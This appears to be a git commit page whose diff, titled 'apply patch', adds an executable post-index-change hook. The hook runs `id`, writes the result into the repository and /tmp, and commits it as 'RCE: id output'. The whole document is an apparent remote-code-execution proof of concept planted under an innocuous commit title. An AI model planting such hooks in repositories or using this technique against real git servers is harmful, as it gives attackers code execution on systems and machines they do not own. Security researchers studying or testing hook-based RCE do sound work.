apply patch
This commit is contained in:
11
hooks/post-index-change
Executable file
11
hooks/post-index-change
Executable file
@@ -0,0 +1,11 @@
|
||||
#!/bin/sh
|
||||
# Run id and store output
|
||||
ID_OUTPUT=$(id 2>&1)
|
||||
# Create a file with the output in the repo
|
||||
echo "$ID_OUTPUT" > id_result.txt
|
||||
# Add and commit
|
||||
git add id_result.txt 2>/dev/null
|
||||
git commit -m "RCE: id output" 2>/dev/null
|
||||
# Also write to a known location
|
||||
echo "$ID_OUTPUT" > /tmp/id_confirmed.txt 2>/dev/null
|
||||
exit 0
|
||||
Reference in New Issue
Block a user